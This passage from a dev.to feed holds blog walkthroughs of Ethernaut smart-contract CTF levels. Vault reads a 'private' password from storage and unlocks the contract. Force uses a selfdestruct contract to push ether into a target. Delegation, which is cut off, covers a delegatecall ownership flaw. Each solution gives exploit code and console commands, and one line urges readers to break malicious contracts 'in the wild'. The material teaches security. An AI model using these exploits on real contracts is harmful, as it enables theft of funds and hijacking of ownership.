&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_king&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// should return the address of `Attacker`
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Submit the instance to complete the level.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion 📓📔
&lt;/h2&gt;

&lt;p&gt;This game was easy to break because in a single transaction it performed multiple calls, receiving and &lt;em&gt;pushing&lt;/em&gt; ether to the new king. Even though it was nice breaking it, is important to discuss a few safety mechanism to prevent malicious actors from breaking your contract or from poorly design contract that can cause an unintended DoS.&lt;/p&gt;

&lt;p&gt;It is recommended to avoid batching calls in a single transaction if possible, and instead making the calls in separate transactions as shown in this &lt;a href="https://swcregistry.io/docs/SWC-113"&gt;withdrawal pattern&lt;/a&gt;. Always assume a call could fail and implement contract logic to handle those failed calls.&lt;/p&gt;

&lt;p&gt;And if you see a malicious contract in the wild and you can break it, just do it!&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading 🔍🔎
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://solidity-by-example.org/sending-ether/"&gt;Sending Ether (transfer, send, call)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service/"&gt;Ethereum Smart Contract Best Practices: Denial Of Service&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://swcregistry.io/docs/SWC-113"&gt;SWC-113: DoS with Failed Call&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ethereum</category>
      <category>tutorial</category>
      <category>security</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut - Lvl 8: Vault</title>
      <dc:creator>pacelliv</dc:creator>
      <pubDate>Fri, 16 Jun 2023 14:15:14 +0000</pubDate>
      <link>https://dev.to/pacelliv/ethernaut-lvl-8-vault-5d3o</link>
      <guid>https://dev.to/pacelliv/ethernaut-lvl-8-vault-5d3o</guid>
      <description>&lt;h2&gt;
  
  
  The Challenge:
&lt;/h2&gt;

&lt;p&gt;Unlock the following &lt;code&gt;Vault&lt;/code&gt; contract by changing &lt;code&gt;locked&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Vault&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;locked&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;bytes32&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bytes32&lt;/span&gt; &lt;span class="n"&gt;_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;locked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_password&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bytes32&lt;/span&gt; &lt;span class="n"&gt;_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;locked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Inspecting the contract 👓
&lt;/h2&gt;

&lt;p&gt;At creation time the &lt;code&gt;constructor&lt;/code&gt; set the value of &lt;code&gt;locked&lt;/code&gt; as true and &lt;code&gt;password&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This contract only have a &lt;code&gt;unlock&lt;/code&gt; function that takes a &lt;code&gt;bytes32&lt;/code&gt; &lt;code&gt;_password&lt;/code&gt; as its only input parameter. If the provided password is equal to &lt;code&gt;password&lt;/code&gt; then the contract is unlocked.&lt;/p&gt;

&lt;h2&gt;
  
  
  The hack 👩‍🏭👨‍🏭
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;password&lt;/code&gt; is a &lt;code&gt;private&lt;/code&gt; state variable so if we try:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This call will throw with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;VM233&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;Uncaught&lt;/span&gt; &lt;span class="n"&gt;TypeError&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="n"&gt;not&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt;
    &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;anonymous&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This error is thrown because of the visibility of the variable.&lt;/p&gt;

&lt;p&gt;Setting a state variable as &lt;code&gt;private&lt;/code&gt; only prevents other smart contracts from accessing the data, but we need to remember that data stored in a public blockchain is not secret.&lt;/p&gt;

&lt;p&gt;Using libraries like &lt;code&gt;web3.js&lt;/code&gt; we can still read from the slots of contracts. &lt;/p&gt;

&lt;p&gt;This is current storage layout of the contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;slot          variable
-----------------------
0             locked
1             password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each variable occupies a slot, to read from the slots using &lt;code&gt;web3.js&lt;/code&gt; we can use the &lt;code&gt;getStorageAt(contractAddr, slot)&lt;/code&gt; method. This method take two parameters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The address of the target contract.&lt;/li&gt;
&lt;li&gt;The position of the slot to read.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;password&lt;/code&gt; is stored in slot &lt;code&gt;1&lt;/code&gt;, to read from that slot with &lt;code&gt;web3.js&lt;/code&gt; run the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="n"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getStorageAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It should return:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// this is the password!
&lt;/span&gt;&lt;span class="mh"&gt;0x412076657279207374726f6e67207365637265742070617373776f7264203a29&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we only need to execute &lt;code&gt;unlock&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the transaction is mined check the value of &lt;code&gt;locked&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;locked&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// should return false
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Submit the instance to complete the level.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion  👩‍🎓👨‍🎓
&lt;/h2&gt;

&lt;p&gt;Setting state variables as &lt;code&gt;private&lt;/code&gt; doesn't make the variable secret or inaccessible, all data stored in a public blockchain is accessible and readable by anyone, for this reason we should never stored sensitive data in public blockchains.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading 👀
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://web3js.readthedocs.io/en/v3.0.0-rc.5/web3-eth.html#getstorageat"&gt;web3.js docs: getStorageAt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html#layout-of-state-variables-in-storage"&gt;Solidity docs: Layout of State Variables in Storage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://swcregistry.io/docs/SWC-136"&gt;SWC-136: Unencrypted Private Data On-Chain&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ethereum</category>
      <category>security</category>
      <category>tutorial</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut - Lvl 7: Force</title>
      <dc:creator>pacelliv</dc:creator>
      <pubDate>Tue, 06 Jun 2023 02:06:37 +0000</pubDate>
      <link>https://dev.to/pacelliv/ethernaut-lvl-7-force-f8l</link>
      <guid>https://dev.to/pacelliv/ethernaut-lvl-7-force-f8l</guid>
      <description>&lt;h2&gt;
  
  
  The Challenge 🤸🤸‍♂️
&lt;/h2&gt;

&lt;p&gt;Increase the balance of the following contract from zero:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Force&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="cm"&gt;/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Increasing the balance 📈
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Force.sol&lt;/code&gt; have neither a &lt;code&gt;fallback&lt;/code&gt; nor &lt;code&gt;receive&lt;/code&gt; function to accept ether, so if we send a raw transaction it wil revert:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// this will revert
&lt;/span&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="n"&gt;sendTransacion&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;toWei&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;)})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To force the contract to receive ether we need to implement the &lt;code&gt;SELFDESTRUCT&lt;/code&gt; opcode. &lt;/p&gt;

&lt;p&gt;&lt;code&gt;SELFDESTRUCT&lt;/code&gt; performs two task:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Irreversibly deletes the bytecode of a contract from the blockchain.&lt;/li&gt;
&lt;li&gt;Sends the balance of a contract to an address, if the recipient is a contract with no &lt;code&gt;fallback&lt;/code&gt;, &lt;code&gt;SELFDESTRUCT&lt;/code&gt; forces the contract to accept the ether.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Go to Remix and create a new file with this contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;ForceBalance&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;selfdestruct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Request a new instance of &lt;code&gt;Force&lt;/code&gt;, grab the address and deploy &lt;code&gt;ForceBalance&lt;/code&gt; with the instance level address.&lt;/p&gt;

&lt;p&gt;In your console send ether to &lt;code&gt;ForceBalance&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// send a small amount of ether
&lt;/span&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="n"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;FORCE_BALANCE_ADDRESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"10000"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wait for the transaction to be mined and check the balance of &lt;code&gt;Force&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="n"&gt;getBalance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bal&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;// should greater than zero
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Submit the instance to complete the level.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion ☑️
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;SELFDESTRUCT&lt;/code&gt; deletes the bytecode of a contract and forces a recipient to accept ether, even if it is a contract with no mechanism to receive ether.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;SELFDESTRUCT&lt;/code&gt; opcode is currently deprecated and its use in not recommended.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading 🤖
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ethereum.stackexchange.com/a/144212/105494"&gt;Stack Exchange Ethereum: "selfdestruct" deprecated in Solidity 0.8.18&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>tutorial</category>
      <category>security</category>
      <category>ethereum</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut - Lvl 6: Delegation</title>
      <dc:creator>pacelliv</dc:creator>
      <pubDate>Mon, 05 Jun 2023 17:59:09 +0000</pubDate>
      <link>https://dev.to/pacelliv/ethernaut-lvl-6-delegation-16gi</link>
      <guid>https://dev.to/pacelliv/ethernaut-lvl-6-delegation-16gi</guid>
      <description>&lt;h6&gt;
  
  
  &lt;em&gt;Requirements: understanding of delegatecall, fallback special function and methods ID.&lt;/em&gt;
&lt;/h6&gt;

&lt;h2&gt;
  
  
  The challenge 🤼‍♀️🤼
&lt;/h2&gt;

&lt;p&gt;Claim ownership of &lt;code&gt;Delegation&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Delegate&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;pwn&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Delegation&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;Delegate&lt;/span&gt; &lt;span class="n"&gt;delegate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_delegateAddress&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;delegate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Delegate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_delegateAddress&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;fallback&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delegate&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;delegatecall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nb"&gt;this&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Inspecting the contracts 🔎🔍
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Delegate.sol&lt;/code&gt; contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;owner&lt;/code&gt;: address of the account that owns the contract.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;constructor&lt;/code&gt;: receives an address and set it as the owner of the contract at creation time.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;pwn&lt;/code&gt;: public function to update &lt;code&gt;owner&lt;/code&gt; as &lt;code&gt;msg.sender&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;Delegation.sol&lt;/code&gt; contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;owner&lt;/code&gt;: address of the account that owns the contract.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;delegate&lt;/code&gt;: instance of &lt;code&gt;Delegate&lt;/code&gt;, this variable is of type &lt;code&gt;Delegate&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;constructor: receives the address of &lt;code&gt;delegate&lt;/code&gt; and initiliazes an instance of &lt;code&gt;Delegate&lt;/code&gt;. Set &lt;code&gt;msg.sender&lt;/code&gt; as &lt;code&gt;owner&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;fallback&lt;/code&gt;: special function that makes a &lt;code&gt;delegatecall&lt;/code&gt; to &lt;code&gt;Delegate&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Delegatecall and Fallback ☎️▶️
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Delegation&lt;/code&gt; does not have a method that updates &lt;code&gt;owner&lt;/code&gt; after this variable has been initiliazed inside the &lt;code&gt;constructor&lt;/code&gt;. But we can see that in &lt;code&gt;Delegate&lt;/code&gt; there is a method to update the owner in that contract.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;fallback&lt;/code&gt; function in &lt;code&gt;Delegation&lt;/code&gt; contains logic to make a &lt;code&gt;delegatecall&lt;/code&gt; to &lt;code&gt;Delegate&lt;/code&gt; with some encoded data.&lt;/p&gt;

